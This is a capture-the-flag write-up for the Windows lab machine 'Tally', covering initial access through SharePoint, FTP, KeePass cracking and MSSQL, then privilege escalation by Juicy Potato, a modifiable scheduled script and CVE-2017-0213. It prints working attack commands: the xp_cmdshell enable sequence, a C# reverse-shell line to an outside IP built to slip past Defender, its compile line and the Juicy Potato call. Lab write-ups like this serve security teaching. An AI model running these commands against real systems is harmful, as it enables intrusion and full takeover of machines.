Summary
- Tally is a great box with multiple exploit paths for both initial access as well as privilege escalation.
- Intially, we find a SharePoint site on port 80 which we enumerate to find a page with a couple of interesting bits of information.
- One: being credentials for the listening FTP service.
- Two: being intel about an HTML document to be uploaded to the FTP share for review by another user.
- After successfully logging into FTP, we find an installer for a specific version of Firefox which was vulnerable to an RCE vulnerability.
- Having confirmed that the victim was using that version, we planted a malicious HTML payload but failed to get code execution due to the inconsistency of the exploit. (this part is covered last here)
- Moving along, we went through FTP to find a KeePass database file which we crack open and gain creds for an SMB share.
- On it, we find a custom binary that contained credentials for the
sa
database user on the running MSSQL instance. - After logging in using the
sqsh
command-line utility, we enabled thexp_cmdshell
feature and were able to execute a reverse shell and get on the system as thesarah
user. - Having gained access through MSSQL, we had the
SeImpersonatePrivilege
enabled which we easily exploited using Juicy Potato to escalate our privileges toNT AUTHORITY\System
. - There was another unintended path for privesc using a modifiable PowerShell script that was on
sarah
’s desktop running as a scheduled task under theAdministrator
user. - We added our payload to that script and owned the box a second way.
- A third path -which was the intended one- was using CVE-2017-0213. We found the C++ PoC for it on GitHub but couldn’t compile it at first due to an error.
- We did some research and were able to build the exploit binary. The exploitation was tricky because only the x86 version of the binary worked as well as had the requirement of running as an interactive process. Which we achieved with a Meterpreter session.
NMAP
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-generator: Microsoft SharePoint
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://tally/_layouts/15/start.aspx#/default.aspx
81/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp open ccproxy-http?
1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info:
| Target_Name: TALLY
| NetBIOS_Domain_Name: TALLY
| NetBIOS_Computer_Name: TALLY
| DNS_Domain_Name: TALLY
| DNS_Computer_Name: TALLY
|_ Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-08-23T12:49:21
|_Not valid after: 2052-08-23T12:49:21
|_ssl-date: 2022-08-23T13:01:38+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
15567/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
| Negotiate
|_ NTLM
| http-ntlm-info:
| Target_Name: TALLY
| NetBIOS_Domain_Name: TALLY
| NetBIOS_Computer_Name: TALLY
| DNS_Domain_Name: TALLY
| DNS_Computer_Name: TALLY
|_ Product_Version: 10.0.14393
|_http-title: Site doesn't have a title.
32843/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
32844/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2022-08-23T13:01:38+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US
| Subject Alternative Name: DNS:localhost, DNS:tally
| Not valid before: 2017-09-17T22:51:16
|_Not valid after: 9999-01-01T00:00:00
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
| h2
|_ http/1.1
|_http-title: Service Unavailable
32846/tcp open storagecraft-image StorageCraft Image Manager
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 10.10.10.59:1433:
| Version:
| name: Microsoft SQL Server 2016 RTM
| number: 13.00.1601.00
| Product: Microsoft SQL Server 2016
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-time:
| date: 2022-08-23T13:00:42
|_ start_date: 2022-08-23T12:49:00
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
nmap
gives us a bunch of information:
- FTP port open
- There’s a Microsoft SharePoint Instance on port 80
- RPC and SMB are available on their standard ports
- MSSQL is there on default port 1433
- WinRM available
- An unknown HTTP port on 15567
- Also 81, 808 and 32846 which don’t look familiar
to avoid unnecessary confusion, we’ll start with the ports we know first..
Quick FTP Check
we first pass by FTP looking for freebies :)
anonymous login wasn’t allowed.
Enumerating Sharepoint
Checking the website, we get redirected to /_layouts/15/start.aspx#/default.aspx
which had nothing.
But, To properly enumerate SharePoint, we need a wordlist for its web directories.
This one from the SecLists Repository seemed good.
We launched gobuster
specifying the --timeout
flag to 60 seconds since SharePoint was very slow :/
Out of the many pages, one was special: /_layouts/15/viewlsts.aspx
The “Documents” list had something interesting
When we opened the file, we found ourselves a password :)
the “Site Pages” list also had something:
a lot of information was there
- we got 4 usernames:
rahul
,ftp_user
,sarah
&tim
- we now know
rahul
is expected to put anindex.html
file up on theIntranet
folder on the FTP share which eithersarah
ortim
will open.
This is could very well be a client-side attack vector.
but first, let’s test those credentials against both SMB and FTP
SMB worked. but there were no permissions over any shares.
Enumerating local users with the --users
flag failed.
But RID brute-forcing worked and got us every user on the box. This might come in handy.
that was it for SMB.
We then tested the creds with FTP and found the ftp_user
valid -as expected-.
FTP Share Enumeration
After browsing the share and finding a lot of files/folders there, we decided to download it. For both speed and for leveraging tools like find
for search and what not.
we do so with wget
’s -m
flag (for mirroring).
wget -m ftp://ftp_user:'UTDRSCH53c"$6hys'@tally
while browsing the contents, we found a KeePass file in tim
’s folder.
we converted it to a hash using keepass2john
and cracked it.
we carried the .kdbx
file over to our windows VM along with the KeePass program files that were on the share then ran the application.
Inside, we found a password for a share called ACCT (we saw that earlier when enumerating SMB)
and another password that is most likely for a Cisco product.
Automatically, we shuffle the usernames/passwords and spray
The creds for the finance
user worked and we got access to the ACCT share.
Going through SMB
We mounted the share and started looking at the contents.
mount -t cifs -o 'username=Finance,password=Acc0unting' //tally/ACCT finance-smb/
A custom binary called tester.exe
was in /zz_Migration/Binaries/New folder
when running strings
against it, we found creds inside:
Getting a shell through MSSQL
The creds worked when we connected to MSSQL on port 1433 using the sqsh
tool.
However, to execute commands on the system, we needed to enable the xp_cmdshell
feature which was initially unavailable.
At first, it was set as an “advanced option
”.
so we reconfigured the shell to “show advanced options
” and could then re-enable xp_cmdshell
using the commands below:
exec sp_configure 'show advanced options', '1'
reconfigure
exec sp_configure 'xp_cmdshell', '1'
reconfigure
xp_cmdshell 'whoami'
here’s how it looked (notice the error messages and results after running the commands):
After running the whoami
command, we find ourselves executing code as the sarah
user.
Note: because, over time, the xp_cmdshell
option kept getting automatically disabled, we put the MSSQL commands in a file for a bit of automation.
We added the code to both re-enable it and issue a PowerShell web request to execute a Nishang Reverse Shell hosted on our web server to streamline the process in case we lost our shell.
We now had a proper shell as sarah
Privesc Path #1: Abusing the SeImpersonatePrivilege
Since we got in through MSSQL, we had the SeImpersonatePrivilege
enabled.
That privilege is ripe for exploitation using Juicy Potato.
To abuse it, we downloaded the binary from Github and renamed it to jp.exe
From our experience, that exploit always worked when used with a single executable rather than passing arguments.
for that, our choice is going to be a C# reverse shell
Why? because that shell is good for bypassing Windows Defender
We know defender was enabled from the hint in the todo.txt
file on sarah
’s desktop:
we can confirm that with the PowerShell cmdlet Get-MpComputerStatus
We modify the shell with our IP and port
// SNIP //
TcpClient client = new TcpClient("10.10.16.4", 9001)
// SNIP //
And then compile the code (rev.cs) on the victim machine using the native .NET compiler
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:rev.exe C:\Users\sarah\rev.cs
Note: the compilation errors weren’t serious here and we got back the exe file.
after running Juicy Potato with our rev.exe
as an argument, it connected back to us as nt authority\system
jp.exe -l 1337 -p c:\users\sarah\rev.exe -t *
Privesc Path #2: Modifying the Scheduled PowerShell Script
Also on sarah
’s desktop, there was a Powershell script called SPBestWarmup.ps1
and another XML file with the same name SPBestWarmup.xml
when looking at the XML file, we notice something:
these options indicate that this script is part of a scheduled task.
To exploit this, we need to check for write permissions on it. So we ran a quick Get-ACL
PowerShell command.
Get-ACL .\SPBestWarmup.ps1 | Select -Expand AccessToString
We have full control!
We went ahead and added a reverse shell to that script right away.
However, because it was configured to run every hour, we had to wait for it…
But we eventually received a shell as Administrator
Privesc Path #3: CVE-2017-0213
After taking over the machine using the above two ways, and while looking at the Official Writeup, I found that exploiting CVE-2017-0213 was the intended path.
The source code for it was to be compiled in Visual Studio.
when building the binary without any modifications, we get a type error.
On Google, we queried with both the error as well as the variable name to get the most relevant results
The first result happened to be for the exact exploit. Here was the solution:
After applying the fix, we edited the cmdline
variable and inserted our shell’s path instead.
That’s because the default exploit code ran cmd.exe
which is just a Proof of Concept.
We make sure to select the x86 process architecture (the 64-bit version didn’t work)
Running the exploit from a normal shell wouldn’t do the trick.
That’s because it requires an interactive process to do its magic.
To achieve that, we must get a Meterpreter shell.
We will first start a Metasploit handler on our Kali box.
And, on Tally, we will use PowerShell’s start-process
command with the rev.exe
binary to fork out from our shell and connect back to our listener.
Once we catch the shell, we can upgrade it using the sessions -u
command.
Now, getting into an “interactive process” can be easily achieved by migrating to a process with session ID = 1
we choose svchost.exe
because it should be a stable process.
After migrating, we drop into a cmd shell with the shell
command and launch the exploit to get a connection back as nt authority\system
it was very difficult to figure out. But we ended up learning a new privesc technique :D
Chasing the Firefox Exploit down a Rabbit Hole
when we went into the Intranet
folder (mentioned in the note on SharePoint), we found a sub-folder called binaries
.
It contained a certain version of Firefox.
When using searchsploit
, we got a couple of exploits for it.
Our theory had a few parts:
- Finding this installer meant that there’s a high chance it was being used in the environment.
- And since either
sarah
ortim
would be checking anindex.html
fromrahul
, they would likely be using that version of Firefox to do so. - And that’s where the exploit should come in.
To confirm our theory, we uploaded an index.html
to the intranet
folder setting it up to redirect to our Kali.
We have to use the binary mode in FTP to avoid any corruption in-transit.
After a couple of minutes, we got our confirmation from the user-agent
HTTP header.
to choose an exploit, we first checked the Metasploit module because the framework’s exploits are usually well-developed.
Sadly, it did’t match our target’s version.
We then turned to the one with the exact version match here.
it was verified on EDB. and it did work well in testing. But only with the calc.exe
payload :/
no matter how many shellcodes we generated using sc2asmjs.py
. None worked :X
this version on Exploit-DB did work. But after payload modification and many many tries…
If you’re interested in checking it out. you can view it on the Official Writeup
Tough machine, huh?
Hope you enjoyed :)